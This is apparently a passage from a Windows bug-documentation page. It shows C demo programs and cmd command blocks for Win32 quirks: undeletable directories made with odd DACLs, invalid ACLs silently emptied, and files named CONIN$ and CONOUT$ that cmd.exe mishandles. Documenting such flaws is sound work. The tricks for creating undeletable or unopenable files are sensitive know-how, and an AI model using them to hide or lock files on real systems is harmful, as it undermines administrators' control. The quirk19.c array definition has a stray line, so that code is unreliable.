Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk17.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk17.exe quirk17.obj advapi32.lib kernel32.lib user32.lib
Execute the console application quirk17.exe
built in
step 4. to show the misbehaviour:
.\quirk17.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Using security descriptor 'D:P(A;NP;FA;;;PS)' to create file and directory 'Quirk17.tmp'
File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;PS)'
Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;PS)'
RemoveDirectory() returned error 5
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
Error message text: Access denied.
CertUtil: -error command completed successfully.
OUCH: while a file created (for example) with only
the
DACL
D:P
(A;NP;FA;;;PS)
or
D:P
(A;NP;0x1f0000;;;S-1-5-1000)
can be deleted, a directory created with only this
DACL
can’t be deleted!
Build the console application quirk17.exe
a third time
from the source file quirk17.c
created in step 1.,
now with the preprocessor macro QUIRKS
defined as 4:
CL.EXE /DQUIRKS=4 quirk17.c advapi32.lib kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk17.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk17.exe quirk17.obj advapi32.lib kernel32.lib user32.lib
Execute the console application quirk17.exe
built in
step 6. to show a second misbehaviour:
.\quirk17.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Using security descriptor 'D:P(A;NP;0x3000000;;;IU)' to create file and directory 'Quirk17.tmp' File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;;;;IU)' DACL of file differs from original DACL! Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;;;;IU)' DACL of directory differs from original DACL! RemoveDirectory() returned error 5 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH: the Win32 functions
ConvertSecurityDescriptorToStringSecurityDescriptor()
,
CreateDirectory()
and
CreateFile()
fail to detect the (intentionally) invalid
DACL
D:P
(A;NP;0x3000000;;;IU)
;
the latter functions apply a
DACL
D:P
(A;NP;;;;IU)
instead, granting only implicit
(A;NP;WDRC;;;OW)
access for the object’s owner!
Build the console application quirk17.exe
a fourth time
from the source file quirk17.c
created in step 1.,
now with the preprocessor macro QUIRKS
defined as 5:
CL.EXE /DQUIRKS=5 quirk17.c advapi32.lib kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk17.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk17.exe quirk17.obj advapi32.lib kernel32.lib user32.lib
Execute the console application quirk17.exe
built in
step 8. to show a third misbehaviour:
.\quirk17.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
ConvertSecurityDescriptorToStringSecurityDescriptor() returned error 1336 File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P' DACL of file differs from original DACL! Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P' DACL of directory differs from original DACL! RemoveDirectory() returned error 5 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH: while the Win32 function
ConvertSecurityDescriptorToStringSecurityDescriptor()
now properly detects the (intentionally) invalid
DACL
D:P
(ML;;NXNRNW;;;ME)
and returns the Win32 error code 1336 alias
ERROR_INVALID_ACL
,
both
CreateDirectory()
and
CreateFile()
fail to detect it and apply the empty
DACL
D:P
instead,
again granting only implicit
(A;NP;WDRC;;;OW)
access for the object’s owner!
CreateFile()
specifies how to use the file names CONIN$
and
CONOUT$
:
Note: the MSDN article Naming Files, Paths, and Namespaces fails to define the namesThe CreateFile function can create a handle to console input (CONIN$). If the process has an open handle to it as a result of inheritance or duplication, it can also create a handle to the active screen buffer (CONOUT$). The calling process must be attached to an inherited console or one allocated by the AllocConsole function. For console handles, set the CreateFile parameters as follows.
Parameters Value lpFileName Use the CONIN$ value to specify console input.
Use the CONOUT$ value to specify console output.CONIN$ gets a handle to the console input buffer, even if the SetStdHandle function redirects the standard input handle. To get the standard input handle, use the GetStdHandle function.
CONOUT$ gets a handle to the active screen buffer, even if SetStdHandle redirects the standard output handle. To get the standard output handle, use GetStdHandle
dwDesiredAccess GENERIC_READ | GENERIC_WRITE
is preferred, but either one can limit access.dwShareMode When opening CONIN$, specify FILE_SHARE_READ. When opening CONOUT$, specify FILE_SHARE_WRITE. If the calling process inherits the console, or if a child process should be able to access the console, this parameter must be
FILE_SHARE_READ | FILE_SHARE_WRITE
.lpSecurityAttributes If you want the console to be inherited, the bInheritHandle member of the SECURITY_ATTRIBUTES structure must be TRUE. dwCreationDisposition You should specify OPEN_EXISTING when using CreateFile to open the console. dwFlagsAndAttributes Ignored. hTemplateFile Ignored.
CONIN$
and
CONOUT$
as reserved or special.
The MSDN article Console Handles specifies:
GetFileType
can assist in determining what device type the handle refers to. A
console handle presents as FILE_TYPE_CHAR
.
Cmd.exe
and run the
following command lines to show the (mis)behaviour:
VER CHDIR /D "%PUBLIC%" ECHO Step 1: create files CONERR$, CONIN$ and CONOUT$ COPY "%COMSPEC%" CONERR$ COPY "%COMSPEC%" CONIN$ COPY "%COMSPEC%" CONOUT$ ECHO Step 2: rename file CONERR$ to CONIN$ to CONOUT$ to CONERR$ RENAME CONERR$ CONIN$ RENAME CONIN$ CONOUT$ RENAME CONOUT$ CONERR$ ECHO Step 3: move file CONERR$ to CONIN$ to CONOUT$ to CONERR$ MOVE CONERR$ CONIN$ MOVE CONIN$ CONOUT$ MOVE CONOUT$ CONERR$ ECHO Step 4: create hardlinks CONIN$ and CONOUT$ MKLINK /H CONIN$ CONERR$ MKLINK /H CONOUT$ CONIN$ DIR CON*$ ECHO Step 5: execute CONIN$ and CONOUT$ .\CONIN$ .\CONOUT$ ECHO Step 6: overwrite CONIN$ and CONOUT$ COPY CONERR$ CONIN$ COPY CONERR$ CONOUT$ DIR CON*$ ERASE CONOUT$ ECHO Step 7: create subdirectory CONIN$, copy file CONERR$ into it, then erase both MKDIR CONIN$ COPY CONERR$ CONIN$ ERASE CONIN$\CONERR$ RMDIR CONIN$ ECHO Step 8: create subdirectory CONOUT$, copy file CONERR$ into it, then erase both MKDIR CONOUT$ COPY CONERR$ CONOUT$ ERASE CONOUT$\CONERR$ RMDIR CONOUT$ ECHO Step 9: cleanup ERASE CONERR$Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft Windows [Version 6.1.7601]
Step 1: create files CONERR$, CONIN$ and CONOUT$
1 file(s) copied.
Access denied
0 file(s) copied.
The handle is invalid.
0 file(s) copied.
Step 2: rename file CONERR$ to CONOUT$ to CONIN$ to CONERR$
Step 3: move file CONERR$ to CONOUT$ to CONIN$ to CONERR$
1 file(s) moved.
1 file(s) moved.
Step 4: create hardlinks CONIN$ and CONOUT$
Hardlink created for CONIN$ <<===>> CONERR$
Hardlink created for CONOUT$ <<===>> CONIN$
Volume in drive C has no label.
Volume Serial Number is 1957-0427
Directory of C:\Users\Public
04/27/2016 08:15 PM 345,088 CONERR$
04/27/2016 08:15 PM 345,088 CONIN$
04/27/2016 08:15 PM 345,088 CONOUT$
3 File(s) 1,035,264 bytes
2 Dir(s) 9,876,543,210 bytes free
Step 5: execute CONIN$ and CONOUT$
'.\CONIN$' is not recognized as an internal or external command,
operable program or batch file.
'.\CONOUT$' is not recognized as an internal or external command,
operable program or batch file.
Step 6: overwrite CONIN$ and CONOUT$
The handle is invalid.
0 file(s) copied.
MZ[…]This program cannot be run in DOS mode.
[…]
Volume in drive C has no label.
Volume Serial Number is 1957-0427
Directory of C:\Users\Public
04/27/2016 08:15 PM 345,088 CONERR$
04/27/2016 08:15 PM 345,088 CONOUT$
3 File(s) 690,176 bytes
2 Dir(s) 9,876,543,210 bytes free
Step 7: create subdirectory CONIN$, copy file CONERR$ into it, then erase both
1 file(s) copied.
Step 8: create subdirectory CONOUT$, copy file CONERR$ into it, then erase both
1 file(s) copied.
Step 9: cleanup
OOPS¹: while the internal
Copy
fails to create files CONIN$
and
CONOUT$
, the internal commands
Rename
alias
Ren
,
Move
and
Mklink
but succeed!
OUCH: although the files CONIN$
and
CONOUT$
exist (and are copies of the command processor)
the command processor fails to execute them!
OOPS²: if a file CONIN$
exists,
the internal
Copy
command deletes it!
OOPS³: if a file CONOUT$
exists,
the internal
Copy
command writes to the console screen buffer!
OOPS⁴: the internal
Md
alias
MkDir
command creates directories CONIN$
and
CONOUT$
!
OOPS⁵: if a directory CONIN$
exists, the internal
Copy
command succeeds!
OOPS⁶: if a directory CONOUT$
exists, the internal
Copy
command succeeds!
Create the text file quirk18.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR szSpecial[3] = {L"CONIN$", L"CONOUT$", L"CONERR$"};
const LPCWSTR szFileType[4] = {L"FILE_TYPE_UNKNOWN",
L"FILE_TYPE_DISK",
L"FILE_TYPE_CHAR",
L"FILE_TYPE_PIPE"};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szModule[MAX_PATH];
DWORD dwModule;
DWORD dwError = ERROR_SUCCESS;
DWORD dwSpecial;
HANDLE hSpecial;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
for (dwSpecial = 0; dwSpecial < sizeof(szSpecial) / sizeof(*szSpecial); dwSpecial++)
PrintConsole(hConsole,
L"GetFileAttributes() returned attributes 0x%08lX for \'%ls\'\n",
GetFileAttributes(szSpecial[dwSpecial]), szSpecial[dwSpecial]);
dwModule = GetModuleFileName((HMODULE) NULL,
szModule,
sizeof(szModule) / sizeof(*szModule));
if (dwModule == 0)
PrintConsole(hConsole,
L"GetModuleFileName() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole, L"\n");
for (dwSpecial = 0; dwSpecial < sizeof(szSpecial) / sizeof(*szSpecial); dwSpecial++)
if (!CopyFile(szModule,
szSpecial[dwSpecial],
FALSE))
PrintConsole(hConsole,
L"CopyFile() returned error %lu for target file \'%ls\'\n",
dwError = GetLastError(), szSpecial[dwSpecial]);
else
{
PrintConsole(hConsole,
L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
GetFileAttributes(szSpecial[dwSpecial]), szSpecial[dwSpecial]);
if (!DeleteFile(szSpecial[dwSpecial]))
PrintConsole(hConsole,
L"DeleteFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szSpecial[dwSpecial]);
}
if (!CopyFile(szModule,
szSpecial[2],
FALSE))
PrintConsole(hConsole,
L"CopyFile() returned error %lu for target file \'%ls\'\n",
dwError = GetLastError(), szSpecial[2]);
else
if (!MoveFile(szSpecial[2],
szSpecial[1]))
{
PrintConsole(hConsole,
L"MoveFile() returned error %lu for target file \'%ls\'\n",
dwError = GetLastError(), szSpecial[1]);
if (!DeleteFile(szSpecial[2]))
PrintConsole(hConsole,
L"DeleteFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szSpecial[2]);
}
else
{
PrintConsole(hConsole,
L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
GetFileAttributes(szSpecial[1]), szSpecial[1]);
if (!MoveFile(szSpecial[1],
szSpecial[0]))
{
PrintConsole(hConsole,
L"MoveFile() returned error %lu for target file \'%ls\'\n",
dwError = GetLastError(), szSpecial[0]);
if (!DeleteFile(szSpecial[1]))
PrintConsole(hConsole,
L"DeleteFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szSpecial[1]);
}
else
{
PrintConsole(hConsole,
L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
GetFileAttributes(szSpecial[0]), szSpecial[0]);
if (!DeleteFile(szSpecial[0]))
PrintConsole(hConsole,
L"DeleteFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szSpecial[0]);
}
}
}
PrintConsole(hConsole, L"\n");
for (dwSpecial = 0; dwSpecial < sizeof(szSpecial) / sizeof(*szSpecial); dwSpecial++)
if (!CreateDirectory(szSpecial[dwSpecial],
(LPSECURITY_ATTRIBUTES) NULL))
PrintConsole(hConsole,
L"CreateDirectory() returned error %lu for directory \'%ls\'\n",
dwError = GetLastError(), szSpecial[dwSpecial]);
else
{
PrintConsole(hConsole,
L"GetFileAttributes() returned attributes 0x%08lX for directory \'%ls\'\n",
GetFileAttributes(szSpecial[dwSpecial]), szSpecial[dwSpecial]);
hSpecial = CreateFile(szSpecial[dwSpecial],
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
(LPSECURITY_ATTRIBUTES) NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
(HANDLE) NULL);
if (hSpecial == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"CreateFile() returned error %lu for directory \'%ls\'\n",
dwError = GetLastError(), szSpecial[dwSpecial]);
else
{
PrintConsole(hConsole,
L"GetFileType() returned %ls for directory \'%ls\'\n",
szFileType[GetFileType(hSpecial)], szSpecial[dwSpecial]);
if (!CloseHandle(hSpecial))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
if (!RemoveDirectory(szSpecial[dwSpecial]))
PrintConsole(hConsole,
L"RemoveDirectory() returned error %lu for directory \'%ls\'\n",
dwError = GetLastError(), szSpecial[dwSpecial]);
}
PrintConsole(hConsole, L"\n");
for (dwSpecial = 0; dwSpecial < sizeof(szSpecial) / sizeof(*szSpecial); dwSpecial++)
{
hSpecial = CreateFile(szSpecial[dwSpecial],
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
(LPSECURITY_ATTRIBUTES) NULL,
CREATE_NEW,
FILE_ATTRIBUTE_NORMAL,
(HANDLE) NULL);
if (hSpecial == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"CreateFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szSpecial[dwSpecial]);
else
{
PrintConsole(hConsole,
L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
GetFileAttributes(szSpecial[dwSpecial]), szSpecial[dwSpecial]);
PrintConsole(hConsole,
L"GetFileType() returned %ls for file \'%ls\'\n",
szFileType[GetFileType(hSpecial)], szSpecial[dwSpecial]);
if (!CloseHandle(hSpecial))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
if (!DeleteFile(szSpecial[dwSpecial]))
PrintConsole(hConsole,
L"DeleteFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szSpecial[dwSpecial]);
}
}
if (dwModule != 0)
{
PrintConsole(hConsole, L"\n");
for (dwSpecial = 0; dwSpecial < sizeof(szSpecial) / sizeof(*szSpecial); dwSpecial++)
if (!CreateHardLink(szSpecial[dwSpecial],
szModule,
(LPSECURITY_ATTRIBUTES) NULL))
PrintConsole(hConsole,
L"CreateHardLink() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szSpecial[dwSpecial]);
else
{
PrintConsole(hConsole,
L"GetFileAttributes() returned attributes 0x%08lX for hardlink \'%ls\'\n",
GetFileAttributes(szSpecial[dwSpecial]), szSpecial[dwSpecial]);
hSpecial = CreateFile(szSpecial[dwSpecial],
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
(LPSECURITY_ATTRIBUTES) NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
(HANDLE) NULL);
if (hSpecial == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"CreateFile() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szSpecial[dwSpecial]);
else
{
PrintConsole(hConsole,
L"GetFileType() returned %ls for hardlink \'%ls\'\n",
szFileType[GetFileType(hSpecial)], szSpecial[dwSpecial]);
if (!CloseHandle(hSpecial))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
if (!DeleteFile(szSpecial[dwSpecial]))
PrintConsole(hConsole,
L"DeleteFile() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szSpecial[dwSpecial]);
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk18.exe
from the
source file quirk18.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk18.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk18.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk18.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk18.exe quirk18.obj kernel32.lib user32.lib
Execute the console application quirk18.exe
built in
step 2. to demonstrate the (mis)behaviour:
VER .\quirk18.exe DIR CON*$ .\quirk18.exe ERASE CON*$
Microsoft Windows [Version 6.1.7601] GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONIN$' GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONOUT$' GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONERR$' CopyFile() returned error 6 for target file 'CONIN$' CopyFile() returned error 5 for target file 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for file 'CONERR$' GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for file 'CONIN$' GetFileAttributes() returned attributes 0x00000010 for directory 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for directory 'CONIN$' GetFileAttributes() returned attributes 0x00000010 for directory 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for directory 'CONOUT$' GetFileAttributes() returned attributes 0x00000010 for directory 'CONERR$' GetFileType() returned FILE_TYPE_DISK for directory 'CONERR$' GetFileAttributes() returned attributes 0xFFFFFFFF for file 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for file 'CONIN$' DeleteFile() returned error 2 for file 'CONIN$' GetFileAttributes() returned attributes 0xFFFFFFFF for file 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for file 'CONOUT$' DeleteFile() returned error 2 for file 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for file 'CONERR$' GetFileType() returned FILE_TYPE_DISK for file 'CONERR$' GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for hardlink 'CONIN$' DeleteFile() returned error 5 for hardlink 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for hardlink 'CONOUT$' DeleteFile() returned error 5 for hardlink 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONERR$' CreateFile() returned error 32 for hardlink 'CONERR$' DeleteFile() returned error 5 for hardlink 'CONERR$' Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Users\Stefan\Desktop 04/27/2016 08:15 PM 6,144 CONERR$ 04/27/2016 08:15 PM 6,144 CONIN$ 04/27/2016 08:15 PM 6,144 CONOUT$ 3 File(s) 18,432 bytes 2 Dir(s) 9,876,543,210 bytes free GetFileAttributes() returned attributes 0x00000020 for 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for 'CONERR$' CopyFile() returned error 6 for target file 'CONIN$' CopyFile() returned error 5 for target file 'CONOUT$' CopyFile() returned error 32 for target file 'CONERR$' CreateDirectory() returned error 183 for directory 'CONIN$' CreateDirectory() returned error 183 for directory 'CONOUT$' CreateDirectory() returned error 183 for directory 'CONERR$' GetFileAttributes() returned attributes 0x00000020 for file 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for file 'CONIN$' DeleteFile() returned error 5 for file 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for file 'CONOUT$' DeleteFile() returned error 5 for file 'CONOUT$' CreateFile() returned error 80 for file 'CONERR$' CreateHardLink() returned error 183 for hardlink 'CONIN$' CreateHardLink() returned error 183 for hardlink 'CONOUT$' CreateHardLink() returned error 183 for hardlink 'CONERR$'OUCH¹:
GetFileAttributes()
yields success for files and directories with the special names
CONIN$
and CONOUT$
!
OUCH²: while
CopyFile()
fails properly with Win32 error code 6 alias
ERROR_INVALID_HANDLE
for CONIN$
and Win32 error code 5 alias
ERROR_ACCESS_DENIED
for CONOUT$
,
MoveFile()
but succeeds!
OUCH³:
CreateDirectory()
creates directories with the special names CONIN$
and
CONOUT$
, and
RemoveDirectory()
removes them!
OUCH⁴:
CreateHardLink()
creates hardlinks files with the special names
CONIN$
and CONOUT$
, and
DeleteFile()
deletes them!
OOPS:
CreateFile()
does not open an existing directory or file with
the special name CONIN$
or CONOUT$
, but
opens the console input buffer or the console screen buffer instead!
Microsoft Windows [Version 10.0.22000.739] GetFileAttributes() returned attributes 0x00000020 for 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for 'CONOUT$' GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONERR$' CopyFile() returned error 6 for target file 'CONIN$' MZ[…]This program cannot be run in DOS mode. […] GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$' DeleteFile() returned error 5 for file 'CONOUT$' GetFileAttributes() returned attributes 0x00002020 for file 'CONERR$' MoveFile() returned error 183 for target file 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for directory 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for directory 'CONIN$' RemoveDirectory() returned error 5 for directory 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for directory 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for directory 'CONOUT$' RemoveDirectory() returned error 5 for directory 'CONOUT$' GetFileAttributes() returned attributes 0x00002010 for directory 'CONERR$' GetFileType() returned FILE_TYPE_DISK for directory 'CONERR$' GetFileAttributes() returned attributes 0x00000020 for file 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for file 'CONIN$' DeleteFile() returned error 5 for file 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for file 'CONOUT$' DeleteFile() returned error 5 for file 'CONOUT$' GetFileAttributes() returned attributes 0x00002020 for file 'CONERR$' GetFileType() returned FILE_TYPE_DISK for file 'CONERR$' CreateHardLink() returned error 17 for hardlink 'CONIN$' CreateHardLink() returned error 17 for hardlink 'CONOUT$' GetFileAttributes() returned attributes 0x00002020 for hardlink 'CONERR$' CreateFile() returned error 32 for hardlink 'CONERR$'
CopyFile2()
,
CopyFileEx()
,
CopyFileTransacted()
,
CreateDirectoryEx()
,
CreateDirectoryTransacted()
,
CreateFile2()
,
CreateFileTransacted()
,
CreateHardLinkTransacted()
,
DeleteFileTransacted()
,
GetFileAttributesEx()
,
GetFileAttributesTransacted()
,
MoveFileEx()
,
MoveFileTransacted()
,
MoveFileWithProgress()
,
RemoveDirectoryTransacted()
and
ReplaceFile()
is left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
ReadConsole()
specifies:
Reads character input from the console input buffer and removes it from the buffer.The documentation for the Win32 function[…]BOOL ReadConsole( HANDLE hConsoleInput, LPVOID lpBuffer, DWORD nNumberOfCharsToRead, LPDWORD lpNumberOfCharsRead, LPVOID pInputControl );
lpBuffer [out]
A pointer to a buffer that receives the data read from the console input buffer.nNumberOfCharsToRead [out]
The number of characters to be read. […]pInputControl [in, optional]
A pointer to a CONSOLE_READCONSOLE_CONTROL structure that specifies a control character to signal the end of the read operation. This parameter can be NULL.Remarks
ReadConsole reads keyboard input from a console's input buffer. It behaves like the ReadFile function, […]
ReadFile()
specifies:
Reads data from the specified file or input/output (I/O) device. Reads occur at the position specified by the file pointer if supported by the device.[…]BOOL ReadFile( HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped );
Remarks
Characters can be read from the console input buffer by using ReadFile with a handle to console input. The console mode determines the exact behavior of the ReadFile function. By default, the console mode is ENABLE_LINE_INPUT, which indicates that ReadFile should read until it reaches a carriage return. If you press Ctrl+C, the call succeeds, but GetLastError returns ERROR_OPERATION_ABORTED.
Create the text file quirk19.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const INPUT_RECORD irInput[] = {{KEY_EVENT, {TRUE, L'\0', VK_PACKET, L'\0', L'€', 0}},
{KEY_EVENT, {FALSE, L'\0', VK_PACKET, L'\0', L'€', 0}},
{KEY_EVENT, {TRUE, L'\0', VK_RETURN, L'\0', L'\r', 0}}};
{KEY_EVENT, {FALSE, L'\0', VK_RETURN, L'\0', L'\r', 0}}};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwCount;
DWORD dwError = ERROR_SUCCESS;
DWORD dwInput;
WCHAR szInput[sizeof(irInput) / sizeof(*irInput)];
HANDLE hInput;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
hInput = GetStdHandle(STD_INPUT_HANDLE);
if (hInput == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"GetStdHandle() returned error %lu\n",
dwError = GetLastError());
else
{
if (!FlushConsoleInputBuffer(hInput))
PrintConsole(hConsole,
L"FlushConsoleInputBuffer() returned error %lu\n",
dwError = GetLastError());
else
{
#ifndef QUIRKS
if (!WriteConsoleInput(hInput,
irInput,
sizeof(irInput) / sizeof(*irInput),
&dwInput))
PrintConsole(hConsole,
L"WriteConsoleInput() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"WriteConsoleInput() wrote %lu of %lu input records\n",
dwInput, sizeof(irInput) / sizeof(*irInput));
if (!ReadConsole(hInput, szInput, sizeof(szInput) / sizeof(*szInput), &dwInput, NULL))
PrintConsole(hConsole,
L"ReadConsole() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"ReadConsole() read %lu characters: \'%lc\' ",
dwCount = dwInput, *szInput);
for (dwInput = 0; dwInput < dwCount; dwInput++)
PrintConsole(hConsole,
L"%lc U+%04hX",
dwInput == 0 ? L'=' : L',', szInput[dwInput]);
if (!WriteConsole(hConsole, L"\n", 1, (LPDWORD) NULL, NULL))
PrintConsole(hConsole,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
}
}
if (!WriteConsoleInput(hInput,
irInput,
sizeof(irInput) / sizeof(*irInput),
&dwInput))
PrintConsole(hConsole,
L"WriteConsoleInput() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"WriteConsoleInput() wrote %lu of %lu input records\n",
dwInput, sizeof(irInput) / sizeof(*irInput));
